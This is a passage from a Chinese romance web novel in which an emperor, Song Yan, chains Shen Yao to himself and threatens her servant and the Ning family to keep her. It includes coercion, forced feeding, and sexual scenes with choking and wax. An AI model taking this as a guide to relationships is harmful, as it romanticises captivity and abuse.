这日她正在书房中寻书,马夫的儿子入内后,竟将手搭上了她的肩膀。 男女授受不亲,这她是受过教导的,一瞬间便看明白了这小子心怀鬼胎,用书将他的手狠狠敲开。 “滚——再有下次,我要告诉我爹我娘了。” 沈遥的反应显然不在马夫儿子的预料中,因他这段时日尝试其他仆人的女儿,人家都害怕得紧,遇到这种事儿哪儿敢对外说一句话。 马夫儿子慌慌张张逃离书房。 沈遥蹙眉转头时,面前忽然出现了一张脸,是臭弟弟的那张俊脸。 她吓得心都停了一下,捂着胸口后退半步,看着他不满道:“你干什么?突然出现,吓死我了!” 宋衍依旧沉默,他还是很小,虽然长得快,却还是没有沈遥高。 他漆黑的眸静静盯着远去的马夫儿子,在她出声后才看向她,上前凑近她脖颈,嗅闻了两下,最后离开。 没有碰触她丝毫。 太诡异了。 这个臭弟弟太诡异了。 然而更诡异的事情出现了,仅仅一个晚上,马夫的儿子竟突然得了疯病,开始产生幻觉,跑到院中大吼大叫,说有鬼要杀死他,还说看见自己被一双眼睛活活盯死。 那双眼睛会杀人,仅仅盯着他,他浑身便被利刃从正中心,由上至下,切成了两半。 得了疯病的小子自然没法儿继续在沈府待下去,马夫最后被母亲发卖,带着疯癫了的儿子离开了长安。 太诡异了。 第二天夜里,沈遥再次感受到了那股视线。 【他那双眼睛会杀人!】 她脑海中忽然浮过那小子发疯时所说的话语,倏然睁开眼睛,落入了一双带着温柔与宠溺的黑眸之中。 此刻她的第一想法是,他那双眼睛才不会杀人,反而太过深情,甚至连看呼噜呼噜大睡的小橘都如此深情。 “阿姐醒了。”宋衍朝她笑笑。 沈遥反应了许久,环视一圈,才发现自己回到了时府,回到了内院那张拔步床上。 她身上已经没了丝毫血迹,被认真清理过,又换上一身比较厚实的寝衣,屋内燃着银丝炭,没有一点寒冷。 “阿姐这一昏睡,便是三日,没想到比我一个伤患还睡得还久。”他声音闷闷的,又极为低沉。 伤患? 对,沈遥这才想起来,她昏迷前,用簪子刺伤了宋衍,她以为宋衍要被她杀了。 如此看来,他没有死。 还好,他没有死。 她撑着手臂坐起身,身上还是没什么力气,空气中还弥漫着淡淡的沉酥香味,没什么改变。 头顶还半挽着发髻,沈遥心下猜测着,抬手摸了一下,是那根梨花玉簪,又回到了她的头上。 只是在她抬手的瞬间,同时听到了锁链冰冷的声音。 锁链? 她扭头看向自己的手腕,竟被一串金锁链给拴住了。 她心忽然停止了片刻的跳动,扭头想要朝着宋衍臭骂一顿,却被眼前的情景所震惊。 震惊到,以至于她半句话都说不出口。 金锁链的一端在她手腕上,而另一端…… 竟然在宋衍脖子上!跟狗链似的,毫无尊严,反射着金光。 可当下看去,更没有尊严的人不像她,而是像他。 他除了在自己脖颈上拴上锁链,还脱了个精光,连亵裤都没穿,全身唯一的布料,就是胸前裹着的绷带,和脚上的一双白袜。 完全就是一个彻头彻尾的疯子! 第52章 第52章取悦朕 也不知为何他要穿着白袜,莫不是脚如女子般容易发凉? 不对,这不是重点。 沈遥还没恢复体力与精气,就已经被宋衍的行为吓得喘不过气。 半晌后,她才开口:“你疯了?” 宋衍拉了下被褥,将自己和沈遥的下半身盖住,才回答她,“阿姐不是骂过我很多次了么?” “对,你说的也是,你早就疯了。” 沈遥万分不解,“你现在这副样子,为何?” 宋衍抬手轻轻抚摸着她乌黑的长发,道:“我本来以为自己会死的,结果没死成,郎中说那簪子没能刺中心脏,那就是上天给了让阿姐留在我身边的机会。” 沈遥毛骨悚然的同时,发现他的自称又从“朕”变回了“我”。 宋衍继续说:“这次为了不让阿姐跑,我只能出此下策。我不想限制阿姐活动,只是如今我没了衣裳穿,阿姐若是跑,要么带着这样一个我跑,要么将我的头颅砍下来。” 疯了…… 彻底疯了! 宋衍:“从今日起,我会代替侍从,贴身伺候阿姐,阿姐什么都不必担心。” “反正,你是别想再丢下我了。” 沈遥头疼得想哭。 “你不上朝了?也不回皇宫了?” 宋衍颔首,“不上朝了,也不回宫了。这段时间,会有南风将奏章送来此处,待我亲自批阅后,再由他送回。” 沈遥知道,他这样的疯子已经听不进去任何话。 她低下头,拼了命地想把手上的金链拆下,却牢固得不动弹半分 。 “钥匙呢?”沈遥抬头问他。 宋衍却淡淡摇摇头,也不说话,一副我任你搜身的模样。 搜个鬼的身!他现在就是个衤果男! 他没把钥匙带在身上。 她如何想得到,这人能病态到这种丝毫不在乎尊严的地步。 她想离开,丝毫不想留在这里。 “宋衍,你是在犯贱吗?” 宋衍沉默。 她也不想管了,直接起身,只是锁链随着手的动作,扯住他脖颈的那一部分,他整个人被迫贴了过去。 身子一歪,将想要下床的人压在了身下。 他喉结凸起,上下滚动着,刚才拉扯中,金链在脖颈上留下一道红痕,青筋爆出,不受控制地低吟一声。 “宋衍!你滚开!”沈遥推搡着他,没用多大力,便把他推翻在侧。 她看了下自己的手一怔,闻着空气中的那股异香,又有了另外的猜测,“宋衍,你熏沉酥,但没给自己吃解药?” 宋衍轻轻“嗯”了一声,朝她勾了下唇。 他看她拼了命地还想着离开,突然道:“阿姐,锦书还在后罩房躺着。” 她试图拆卸锁链的动作停下,抬头朝他看去,“锦书还活着……” 宋衍:“她伤得不轻,若阿姐想要郎中给她看,就别再想着跑了。” 沈遥咬唇,“你怎能这样对我?” 宋衍没有回答,也没有躲开视线,他眸中带着一丝难以察觉的伤感。 “宋衍,你杀了宁梓谦,你凭什么觉得我还会留在你身边?” 他还是沉默不语。 沈遥双眼猩红,“你到底想要什么啊,宋衍?你明明有地位,有江山,你拥有一切……” “可我只想要你,仅此而已。”宋衍打断她,“江山,帝位,我从来没想要过,都是为了阿姐,我才坐上那个位置的。” “宋衍,你如此行径,不仅丢了自己的尊严,你还丢掉了我的尊严。” 宋衍明显不认可此话,轻轻摇了摇头。 “我可以不要尊严,但阿姐有尊严。” “宋衍,你就非要如此犯贱吗?” 他垂眸,感受着强烈的心跳,隐去他眼角的一丝猩红,依旧不说话,也不愿意将她放开。 沈遥大怒,直接推了他一把,上前将他压住后,骑到他身上,附身一口咬在他的锁骨处。 她用尽了十足的力,又一次咬出了鲜血,弄得满嘴血腥,而他胸前的伤口也崩裂开,血迹从洁白的绷带中浸出。 她咬了很久,最终无奈地慢慢松了口,泪水从眼眶流出,一滴滴滚过在他的伤口之上,和骨血相融。 她趴在他身上,小声啜泣着,他抬手慢慢抚摸着她的脊背,如平时抚摸小橘一般,用同样的方式安慰她,却始终没有说一句话。 “真的很过分,宋衍。” “嗯。” 她感受到他身体不同寻常的反应,哂笑一声,“这就是你想要的吗?” 宋衍淡漠,若是得不到她的爱,不如让她恨他,更恨他,恨到几生几世都忘不掉,逃不掉。刻到她的骨头上,魂魄里,让他成为她的影子,就算她将他五马分尸,也抹不掉他的存在。 “没错,取悦朕,朕一高兴,或许便真放了他们。” “宋衍,你真贱。” 沈遥扯了下唇角,“既然你这么爱犯贱,那就继续犯贱吧。” 她缓缓坐起身,居高临下地看着他,又一下附身咬在他的喉结处,而后是薄唇,鼻梁,每一口都极为用力,丝毫不留余地。 夜色昏暗下来,寝室灯火葳蕤,拔步床内的黑影在不断晃动,锁/链发出细微的清脆声响。从最初的情形,在不断撩/拨和她主动的挑/逗后,彻底扭转了姿态。 她身上的衣服还完好地穿着,只是腰/带被解/开,衣襟微微敞/开,外/露出雪山娇峦。 他身/上留下的全部都是她的齿/痕,绷带浸出的血已是一大片,空气中泛着腥味。 宋衍俯下身,一手揽住她的腰,温柔又强势地将她圈在怀中,沈遥的每一口都极为狠戾,丝毫没有松动。 她脸颊愈发红起来,抬了下手,连接着他脖/颈的锁/链再一次被猛地扯了一下。 他被突如其来的窒/息勒得轻咳一声,咬/牙闷/哼,倏然间头皮发麻,尾/椎/骨刺痛了一下,空气变得稀薄,直到他双眼逐渐发黑,她猛然又松开手,他恢复喘息,这才又笑着低头去吻她。 此刻的他感受到他们跳动的脉搏和血液,皮/肤下暴/露的青筋,如此鲜活细/腻,他嗓音低哑,“乖乖,你是想我死啊。” 沈遥瞪着他,“是啊,可惜,我没能下重手。” 他咬着她耳朵,“你可以下重手的,阿姐怎么对我都没关系。” “不许弄在里面。” “……” “我若怀上你的孩子,我宁可去死。” “……” 一个带着恨意,一个带着乞求,一直纠缠到天快亮时,才终于结束,摇铃叫了水。 府中唯一剩下的一仆妇听见动静后,将热水送入净室,低着头不丝毫乱看,弓腰驼背地再次离开寝室。 沈遥已经困得睁不开眼睛。 明明是想要弄死他,结果自己快被弄死了。 宋衍起身将她身上脏透了,黏腻着大片潮湿的衣裙褪下,又将人横抱起来入了净室浴桶,拿过帕子打湿,温柔地为她一点点擦拭着。 她闭着眼睛喘息,没什么力气,只能堪堪靠在他怀中,任由着这人伺候。 反正他自己说的,他要代替婢女来伺候她。 她有气无力地张口,“你不是也中了沉酥么?为什么还有这么大力气?” 他手中继续动作着,垂眸笑笑,没有回答。 …… 这日之后,沈遥再也不想跟他说话,两人一度陷入沉默。 可早就习惯了沉默的宋衍反倒丝毫不在意,除了批阅奏章,大部分时间都在柔和地凝视着她。 他依然没脸没皮地光着,她去哪儿,他就跟到哪儿,寸步不离。 “屋子闷,我想去院子里。” 宋衍一怔,似乎有些犹豫。 沈遥简直要被气死了,“你把衣服穿起来,我要去院子里逛。” 宋衍却满脸无所谓道:“去吧,反正如今时府也没什么人。” 沈遥顿时无语,最后想了想,决定换种方式与他交涉,“我知道,时府里都是暗卫,你就想让别人看光你身子?” “你无所谓,可我还不允许,你的身子只我能看。” 果然,此话一出,宋衍黑眸倏然亮了一下。 他果然在她的要求下,穿上了衣裳,虽然只是中衣,到底不再如刚醒来时看到他发疯的震惊。 沈遥看他心不甘情不愿,小心翼翼的模样觉得着实可笑。 他人不蠢,反而很聪明,在某些方面甚至可称为天才。可如今她都被和他锁在一起了,就算他穿上正常的衣裳,她又如何打开这金链跑掉呢? 若是忽略那根金锁链,他们日常的生活其实很平淡,好像一对普通的夫妻。一同喂猫儿,给猫梳毛。 宋衍批奏章时,沈遥便坐在一旁看书。 天气好,也会披着披风在外院溜达。 而锦书每日的恢复状况都由南风亲自前来禀报,以让沈遥安心。 然而她心头一直哽着一根刺,那根叫宁梓谦的刺,她知道,她与他表面上的相安无事,都是假象。 那些被压抑下来的,往往都在鸳鸯帐中爆发得最为猛烈。 在他情/欲浸透的眼眸下,她会狠狠咬他,咬到满嘴是血;会勒/紧他脖/颈上的链/条,直到他无法呼吸,双眼泛红;甚至打翻了蜡烛,滚烫的蜡直接泼在他皮/肤上凝固。 她想让他尝受痛苦,甚至时常产生杀意,可她下不了手。 她知道,就算他杀了她,她也下不了手。 每每如此,他面上总是流露出被虐的快/感,更加病态,更加偏执。 一时间,她实在分不清,他们之间,谁才是那个被虐者?谁才是施虐者? 每一次,她都不允许他弄在里面。每一次,他都伤痕累累。 可结束后,她还是无法 忍受他身上的伤痕,最后找来伤药又耐心地一点点为他涂抹。 沈遥实在痛恨自己心底这种极端的矛盾与撕扯,却又无可奈何。 而慢慢的,本就胃口不好的她,如今胃口更糟了。 每次吃饭时,随意两筷便下箸。 “你在绝食?”宋衍眉眼间全是不满。 沈遥:“绝食你会放了我吗?” 宋衍:“不会。” 沈遥吃得越来越少,除非宋衍再次拿着锦书和宁家来威胁,她才会又逼着自己再多吃几口。 又是一日让她感到如酷刑般的晚膳。 “吃饱了。”沈遥抿唇,再一次压抑着恶心放下手中筷子,冷漠地不想看他。 宋衍停下继续吃饭的动作,看着她几乎没动过多少的饭菜,以及她愈发削瘦下去的脸颊,心脏像是被那根平躺的筷子狠狠戳上几个窟窿。 他长叹一声,夹起一片酱鸭,放到她碗中,“再吃点。” “没胃口,吃不下了。”沈遥固执地扭开头。 宋衍对她的反应很是不满,“锦书快可以下地走路了,阿姐,乖,听话。” 沈遥咬牙,垂眸,起箸架起那一小块酱鸭放到口中,忍着反胃咀嚼许久,而后道:“吃了,你别看着我。” 宋衍盯着她不说话,正盯到她起鸡皮疙瘩时,他忽然出手,捏住她下巴,用了两成力,温柔道:“张嘴。” 沈遥咬紧牙关,嫌恶的表情死盯着他。 宋衍:“阿姐乖,张嘴。” 沈遥咬牙。 宋衍:“宁家。” 沈遥无法,只得张开嘴。 他垂眸一扫,空荡的口中是柔软的香舌与白皙的尖牙。喉结上下滚动一番,他又道:“舌头下面。” 沈遥蹙眉,双手抓着他强有力的那只手,使劲儿往下拉,可却万般无力。那只手像是山一般沉重,明明他没有用很多力才是。 宋衍见她不配合,捏着她下巴的大拇指直接探/了/进/去,轻轻在她舌/下/一/搅,那块没有丝毫被咀嚼过的肉掉了出来。 他扫了一眼那块肉,手没有收回,依然钳制着她的下巴,拇指在她的口中,让她合/不/拢/嘴。 指尖的柔/软/湿/濡让他心动,火瞬间燃了起来。可看到她逐渐发红的眼睛,与无力挣扎的模样,还是心软将她放开,什么也没做。 如今她不好好吃饭,体力是越来越差了。 其实这次回来后,他便将沉酥都撤了去,她以为的无力,都是不好好吃饭导致的。 沈遥获得自由后,立刻将案几上的水大口大口,一饮而尽。 宋衍轻轻抚摸着她后脑勺,哄小孩一般,温柔道:“阿姐,别跟我玩儿这套。我守着你吃,等你吃完一整碗饭。” “事不过三,我不想今日再说第三遍锦书和宁家。” 沈遥沉默着扫了一眼他。 最后只得端起饭碗,大口大口扒到口中,不带咀嚼直接吞咽下去,没有夹一根菜,或是一片肉。待将整碗白饭下肚后,她将空碗重重拍到案上,连带着其他盘子都一同震动一番。 宋衍看出她的难受,但实在不想看她再继续折磨自己身体,每一次用他人来逼迫她,他其实都是在心上钻了一个窟窿。 因为每一次成功的威胁,都代表了一个在她心底,比他更重要的人。 他倒了一杯白水,亲自递到她唇边,想让她缓解一番。 沈遥低着头没有拒绝,将白水饮尽。 然而弹指间,她一阵强烈的反胃,刚才努力吃下去的东西竟一股脑全吐了出来,吐在了宋衍身上。 “阿姐!” 她吐完后又是无法停止地干呕,直到双眼发红,眼泪流出,才终于停下,却没了力气。 宋衍也丝毫不顾身上的脏物,上前将她横抱到床上,又大声吼着叫南风去喊来郎中。 “阿姐,别吓我。” 第53章 第53章心病 等待郎中之时,沈遥已经渐缓了过来,只是还有些无力地靠着。 “渴。” 宋衍立即起身想给她拿水,脖颈的金链子却和她的手扯在了一起,沈遥手被迫一抬,差点儿掉下了床。 他眼疾手快退回将人扶好,又让她靠回床头。 沈遥语气淡淡的,没有再因此生气,只是完全没有丝毫情绪起伏,“郎中来后,你也要给外人看这链子么?” “难不成你觉得我这副样子还能跑?如今整个葫芦镇都是重兵把守了吧。” 宋衍沉默着,见她嘴唇发白,还有些干,便不知从身上哪儿变出了一把钥匙,将金链子解开,又默默起身为她倒上一杯白水。 待她细细饮下后,又要了两杯,才缓解过来。 他放回杯子,一言不发地落座回床边,拉起她冰凉的手,放在自己手心慢慢捂热。 沈遥问:“那天回葫芦镇时,都没见着人。” 宋衍答:“下了令,不允许随意出行。” 她哂笑一声,“所以你不仅是囚禁了我,还把所有人都囚禁了。” 他没有说话,只是偏了下头。 她不想看他,低着头讽刺:“这就是你曾经说要送给我的太平吗?一个所构建出来的虚假。” “这里不是桃花源。” 宋衍咬牙,“可若是你一直不知真相,你会很幸福。我只是想要你不必再这么辛苦……” “宋衍。”沈遥打断他,“没有什么谎言能维持一生。就算维持下去了,那背后的代价,又由谁来负责?” “你可以选择圈出一小批人,在你画出的这个牢笼中受你庇佑。可是宋衍,人不是牲畜。” “葫芦镇外的,才是真正的世道,我想到的是真正的太平盛世。宋衍,你从来都没有真的懂过我。” 他半晌说不出话,只一直耷拉着脑袋。 沈遥一想到宁梓谦,便恨极了他,更多的话也不再愿意与他讲了。 沉默间,郎中已经背着药箱着急忙慌地赶来,宋衍见状起身,将位置让给他。 只是郎中为沈遥切脉之时,那股冰凉刺骨的视线落在郎中的手上,叫他无法控制地浑身一抖,鸡皮疙瘩起了一身。 再又为沈遥检查许久后,他站起身,低着头道:“殿下身体并无大碍。” 宋衍对此不满,觉得这个人莫不是庸医,“若无大碍,她怎会胃口如此不好,吃完东西就吐了?” 郎中斜眼看了一下宋衍,被他威压吓得又低下头,抹了一把额头的汗,“这……小的医术拙劣,只能猜测,许是心病。” 心病? 宋衍怔住,将视线落到面无表情的沈遥脸上。 郎中继续道:“殿下除了因吃得太少,导致体质偏弱了,可身子却还是好的。” “陛下,心病还得心药医,或许给殿下换个环境,让殿下心底愉悦起来,这食欲自然便也好了。” 宋衍轻轻“嗯”了一声,还想说什么时,南风前来敲了敲门,似乎是政事。他又看了看沈遥越来越瘦的脸,最后一句话没说,先离开了房间去寻南风。 待人走后,郎中开始收拾工具,也准备着离开,沈遥却忽然叫住他。 “不知殿下还有何疑问?” 沈遥手拧着被子,眼睛快速瞥了一眼门外,这个距离宋衍应该是听不到。 “我应该……没有怀孕吧。” 虽然上次是一个乌龙,可谁能说每一次都是乌龙呢?虽然她不允许宋衍弄她身体里,可万一有遗漏呢? 郎中凝眉思索,道:“小的确实没诊出喜脉。” 他想了想,又笑着安慰道:“殿下还年轻着,而陛下也正值壮年,若是想要有孕,需得放平心态,顺其自然,该有时,自会有。” 沈遥抿唇,知道郎中误解了她的意思。 她见人快要离开,又着急低声问:“不知郎中可有避子药,就是无需煮汤,可以平日直接服下的。” “这……”郎中没想到沈遥竟有如此一问,避子药伤身,吃多了或许还会导致不孕,他自是不敢在宋衍不知的情况下私下给她开药。 他结结巴巴,许久说不出话。 沈遥心底长叹,自然也知晓他的顾虑,便换了个问题:“那可还有何别的避孕之法?” 郎中秉持着医者仁心,恭敬回道:“殿下可以试试羊肠和鱼鳔,是最有效的。” 沈遥轻轻颔首,可她心觉宋衍不会愿意。 虽然每次他算是听话,可她也是看透了他。他不情不愿,有时会特意用手轻轻抚摸她的小腹,虽然他不说,但她知道他心里期待着她能有孕。 郎中见她神情,又 往外一瞥,转头压低了嗓音道:“倒是有不少食物,都为孕期忌口,比如薏米,苋菜,茨菰,山楂,茄子,桃仁,落葵等。” 沈遥一怔,低声道了一句谢。 正巧宋衍与南风说完事,也回到了房中,郎中弓腰朝着两人行礼后,慢慢退了出去。 宋衍落座回床边,拉过她的手摩挲着,不知在想什么。 沈遥正想试探试探他态度,他竟直接开口道:“阿姐,我们要个孩子吧。” 沈遥满脸不解,宛若一盆凉水从头淋到脚,甚至心底开始恐惧起来,“为何?” 宋衍又挪了下,将她轻轻揽到自己怀中,又揉着她的软发,“郎中说你是心病,或许你能有孕,便会为着孩子着想,好好吃饭了。” “不要。”沈遥直接冷脸拒绝,“我说过,我宁愿死也不要怀上你的孩子。” “唔。”他也没表现出失落,只是轻轻拍了拍她肩膀。 宋衍本想继续用锁链,可想到郎中说要让她心底愉悦,便放弃,只是又加重了整个府邸和镇子的守卫。 他万分不解,为何当初阿姐和宁梓谦在一起,就能如此开心放松,时常可见笑容。可如今和他在一起,就叫她这么痛苦么? 风有些冷,他依旧只穿了一件单薄的中衣,站在垂花门前,看着抱着小橘坐在光秃秃梨花树下的沈遥。 她没再作出任何逃跑的尝试,似乎是宁梓谦和锦书给够了教训。 她的胃口依然没好起来,找厨房说了几道想吃的菜,炒茄子,山楂糕之类的。宋衍差点儿以为她恢复了,心下高兴,可见她还是吃不了多少,即便多吃几口,最后依然会吐出来。 宋衍心愈发沉下去,总感觉她此刻就像一片薄薄的枯树叶,风轻轻一吹,便飞了,碎了。 让她愉悦起来。 怎样才能让她愉悦起来? 沈遥曾说过,讨厌虚假的东西,而葫芦镇,是他一手所建造出来的虚假之物。 所以她才这么讨厌吗? 宋衍稳步上前,走到她近前蹲下,摸了下她手中的暖炉。 “有些冷了,回屋子吗?” 沈遥眼神一直落在不远处追逐壁虎的小橘身上,轻轻摇摇头,如今也懒得与他再多说一句。 宋衍只觉得万分无力,不知到底该拿她怎么办。 “想换个地方吗?” 沈遥不解地看回他。 宋衍:“不是说不喜欢这里的虚假吗?那我带你去另一个真实的小镇,我们找一个山清水秀,没人认识我们的地方,如何?” “或许在那地方,你心情便会好了。” 沈遥讽刺地笑了一声。 这个疯子有自己一套行为方式,他始终不理解她真正想要的是什么,他只是想要将她禁锢在身边。 不过也好,或许换个地方,能有新的机会与思路。 总之去哪儿,都比待在现在这地方好。 最终,她点了点头,宋衍见状心下一松,也是笑了起来。 搬迁之事都由宋衍独自准备着,他想找一处风景极佳,民风淳朴之地,又不能太远。 不想让她坐太久的马车,否则定会叫她累极。 最后,他选择了一处叫淅镇的地方,待告诉沈遥时,她只是撩起眼皮随意一瞥,什么话也没说。 离开葫芦镇这日,天气有些凉了,宋衍特意为沈遥备了一厚实的披风,又在马车内摆上了小暖炉,铺满了毛绒绒的地毯。 除了这一辆马车坐人,后面还跟上了五辆专门装货的马车,他的东西不多,只一箱,剩下的全是沈遥的东西,似乎生怕她缺了什么。 他弃了南风为他备的马匹,挤到沈遥的马车中一同落座。 她自知这人得时时刻刻盯着她,也没妄想能在这途中跑了。毕竟锦书和宁家依然在他手上。 其实这是一个很好用的筹码,只要他一直拥有这个筹码,她便不敢如上次那般轻易逃离。可偏偏他看起来还是不安得很。 马车走在宽阔的大路上,沈遥怀中抱着的小橘已经睡去。她伸手轻轻掀开帘子,往外看了一眼。 镇上的人此时都躲在家中,无一人出门,想也知道是谁下的命令。只偶然几家窗口处开一条缝隙,露出头好奇往外稍微一张望,在见沈遥看过去时,又惊慌失措地将窗户合上紧闭。 弄得沈遥有点儿好笑。 “离开此地,心情好些了?”宋衍眼尖地捕捉到她唇角忽然勾起的笑意,却又倏然转瞬即逝。 沈遥视线往两边扫视过后,放下帘子,低头抚摸着小橘,“没人跟着?” 他如此警惕的人,不可能只叫几个马夫,南风一个侍卫,和一个中年仆妇跟随。 宋衍不甚在意地为她煮起茶来,“暗卫在暗处,放心,都是顶尖高手,足够护佑我们安危。” 沈遥云淡风轻地看他一眼,便不再说话了。 他也丝毫感受不到空气的凝滞,在煮完茶后,将其推到她面前,又从一旁拿出一叠糕点。 他说贴身伺候她,除了身上的气质,其余的倒还真像个仆人,样样考虑精细。 “吃点儿东西,若是饿着,这路上颠簸,怕是容易晕。” 这糕点倒是备得齐,什么都有。沈遥随意扫过去,从中拿了一块山楂糕,轻轻咬上两小口,又就着热茶渡下去,便又没了胃口。 这次宋衍也不再逼迫,将她吃剩的那块糕点拿来,自己一口吃下,丝毫不浪费食物。 “等过一会儿再尝尝别的。” 沈遥没说话,只闭起眼睛假寐,没想到过了一会儿,竟还真睡去了。 摇摇晃晃中,她睡得很熟,当迷糊间醒来时,发现身旁的人也同样睡去了,只是头靠在她肩上,整个人微微蜷缩着。原本在她膝上的小橘已经跑至了暖炉边缩成一个小团子。 沈遥没有第一时间推开他,垂眸看着他此时无攻击的模样,乖得不行。他也就只有睡着之时乖,还总喜欢挂在她身上,从小就是如此。 谁又想得到,看起来这般无害的人,实际上是个小畜生呢。 马车忽然被拉停,驾车的南风转过身,“陛下,殿下,到暂时歇脚的地方了。” 话音刚落,沈遥还来不及将肩膀上那颗头扔开,宋衍已经睁眼醒了过来,在与她对上视线时微微愣神,停滞片刻后才直起身子。 此时他整个人气息都变得柔和起来,他掀开帘子往外看了一眼,是一处岔路口,停着不少路过歇息的马车,附近好几家茶铺。 只是人有些多了。 “想下去吗?”宋衍自认为很尊重地问她。 沈遥平静地摇摇头。 宋衍颔首,似是在预料之内,见不远处有馄饨铺子,便掀开帘子嘱咐南风,“去那边买碗馄饨。” 南风领命之后直接下马车走了去,宋衍还没来得及放下帘子,忽然被一带着吃惊的声音喊住。 “陛下?” 宋衍一怔,顺着声音看去,竟是坐在另一马车里的梁国夫人韩秀华。只是视角原因,她只看到了宋衍,没看到沈遥。 沈遥自然也是认了出来,见宋衍转过头来看她一眼,一言不发。 她此刻并不想见韩秀华,如今她没这底气,又比之前瘦了太多,她不想叫姨母为她担心,于是只是撇开头,作出避开的姿态。 宋衍收回视线,下车后合上帘子,韩秀华也正好下了车,上前两步朝着他行礼。 他轻抬了下手,“姨母不必如此客气,今日微服,不愿太过高调。” 韩秀华见状也不再客气,眼睛朝着严丝合缝的马车瞥了一眼,有些好奇。 其他人是不敢开口问,但韩秀华从不避嫌,“陛下,这是有了人?” 宋衍转身看了一眼马车,眼神都变得柔和许多,“嗯,姑娘家最近心情不好,寻了处好地,正想带人去散散心。” 韩秀华笑了一下,“没想到铁树也开花了。” 宋衍没有回答,只稍微低下头。 “姨母这是准备回甘州了?不再在长安多住些时日?” 韩秀华长叹着摇了摇头,” 已经在长安待了许久了,再待下去也不合适,是时候回去了。就是心里还担忧着永乐下落。” 听闻此话,马车内的沈遥手攥紧了裙摆,心底闷闷的。 姨母待她极好,说实话,她实在不想姨母看到如今宋衍和她这副模样。别说他们过得是否真的安好,就单单这不伦之事,也叫她着实抬不起头。 虽然宋衍与姨母没有血缘关系,可姨母又何尝没将他看作自己的亲侄子对待。 宋衍倒是从来不想这么多,只是安慰一句:“姨母一路注意安全,待朕有了永乐消息,定差人送快信去往甘州。” “那臣妇便谢过陛下。”韩秀华急着赶路,没有再多言,直接上了自家马车,往西北方向而去。 宋衍站在马车门口一直目送着她的离开。 南风也端着买好了的馄饨前来,宋衍接过后直接入了马车,坐到沈遥身侧,用汤匙轻轻搅动着。 沈遥没想到这次竟然遇到姨母,心底像是憋着一口气,慢慢往上浮动,正好卡住嗓子眼。 她更是没食欲了。 见宋衍想喂她,她偏开头,“没胃口。” 宋衍:“你今日只吃了两口山楂糕。” 沈遥依旧沉默。 他这次也不说什么锦书和宁家,只是自顾自搅拌着,低头吃下一个馄饨,“嗯,味道一般,没家中做的好吃。南风,叫这铺子老板不必开下去了……” 话还没说完,沈遥已经将他手中的馄饨拿过,没好气地说了一声:“我要吃。” 他是懂如何威胁拿捏她的。 宋衍笑笑,顺了顺她的头发,盯着她慢悠悠地动作。 她努力吃进去了五个馄饨,又喝了几口馄饨汤,还剩下两个实在吃不进去了,手停了下来,轻蹙起眉,似乎在压抑着反胃。 他知她已经到了极限,便也不再逼迫,将她手中的碗接回,直接就着那根汤匙将剩下的两个馄饨下肚。 “嗯,还不错。” 碗递给外面的南风,让人将其送回铺子后,宋衍将沈遥揽到怀里,轻轻揉了揉她小腹,“还想吐吗?” 沈遥摇头。 宋衍松了口气,“真乖。” …… 宋衍和沈遥搬进淅镇时已经够低调了,却还是引起了不少人注意。 平日里,镇口都坐着三姑六婆,一边嗑瓜子,一边谈论着哪家生了大胖小子,哪家娶了新妇。 包括任何出入镇子的人,都逃不过她们这群人的法眼。 宋衍买的这处宅子不大,只是一个一进的小院。他与沈遥两人住正房,两间偏房分别给仆妇和南风。 毕竟他要时时刻刻黏着沈遥,于是连自己的书房都不要了。 五辆马车大大小小的货物送进宅院时,便吸引了不少看客,围聚着对他们的那些箱子品头论足。 “这么多好东西,看起来是有钱人家啊。” 闹闹哄哄中,两家邻居端着一篮鸡蛋,想敲门送几个结识,可半晌没人开门。 正待众人不解,面面相觑时,门开了,出来的是那个黝黑的壮汉。 送鸡蛋的婆子立刻上前,“诶哟,我们是你们家邻居,之前就一直好奇这是谁回搬来这新屋子,今日终于得见着了。” 南风见着镇民的热情,一时也有些不习惯,尴尬地挠挠头道:“婶子不必客气,这鸡蛋就别送了吧。” “哦,哦。”婆子有些不喜热心肠贴了冷屁股,悻悻收回篮子,又好奇道:“不知怎的称呼,是做甚的?” 想到宋衍之前的嘱咐,南风简单介绍道:“我家主姓时,是书生,我是家主书童,叫我南风就好。” “这样啊。”众人互相望了望,有人又道:“镇西头住着的老头,六十岁了,终于考取秀才,如今可是不得了。” 南风笑笑,“家主还未有功名在身,今年也是家中夫人生了病,这才想着一家人搬来这淅镇治病散心。家中夫人喜静,不便过于打扰,还请各位见谅。” “原是生病了啊。”婆子了然,又与南风一番交谈后,也没探听出更多的,便和众人闹哄哄地又散去了。 沈遥在屋中安置好后,便站在正屋门口,看着院中一棵光秃秃的树,是梨花树。 宋衍从身后环住她,声音低沉:“如今已经立冬,若要看花,得等到来年开春。” 沈遥沉默。 宋衍也已习惯,丝毫不在意,道:“或许我们在这镇子住得久些,便能看到这株梨花树开得久些。” 沈遥扭过头怪异地瞥他一眼,从他怀中挣脱出来,随手从收拾出来的书籍中拿了最上面的一本杂记,一人半躺到床上翻看着。 宋衍无力地看她一眼,收回视线后,叫南风将公务都整理出来,他就坐在离沈遥不远处的书案前翻看。 本以为这个男人依旧不离开她一刻,却没想到从下午便不见了人影,也不知他去了何处。 直到晚膳,他都还没回来,仆妇则按照之前郎中给的食谱,做了不少药膳给沈遥端来,一句话不说地盯着沈遥至少整整吃下一碗饭,才将剩余的撤去。 这个仆妇从沈遥认识开始便不说话,她以为这是个哑巴,没想到后来了解深入,才知原来她真是个哑巴。 可能宋衍想着,找个哑巴来伺候,便不会蛊惑着她再逃跑了吧。而她无法与哑巴交流,自然也帮不了她逃跑。 沈遥自今日搬进来后都未踏出房门一步。 夜色已深时,仆妇这才又敲门进了正房,将一张信纸递给沈遥。 沈遥不明所以地看她一眼,而后将其展开,上面赫然一串字,是宋衍的笔迹。 【今日搬迁之喜,阿姐一人在屋内岂非寂寞,开窗看外面。】 沈遥手指捏着信纸看了许久,最后将其叠起放到一旁,想了想,还是来到窗边将支摘窗推开,往外看去。 只见宋衍一身暗红锦缎圆领袍,是她曾经亲手做的那件,他手上拿着一只糖人,看那奇丑无比的模样,想来是自己做的。 她正搞不清他究竟想干嘛时,忽然“砰——”一声,天空炸开了五颜六色的烟花。 和葫芦镇端午那日一模一样。 可明明一切都不一样了才是。 沈遥端坐着一直没出去,宋衍最终无奈叹息一口,慢慢走到窗前,轻笑一声,又带着些卑微的语气:“阿姐,今日我生辰,可能陪我过一个?” 第54章 第54章别闹了,好好过日子吧…… 沈遥攥紧了双拳,许久说不出自己的矛盾。她其实并不恨他,她恨自己。 若不是因为她,宁梓谦怎会死?锦书怎会受杖刑? 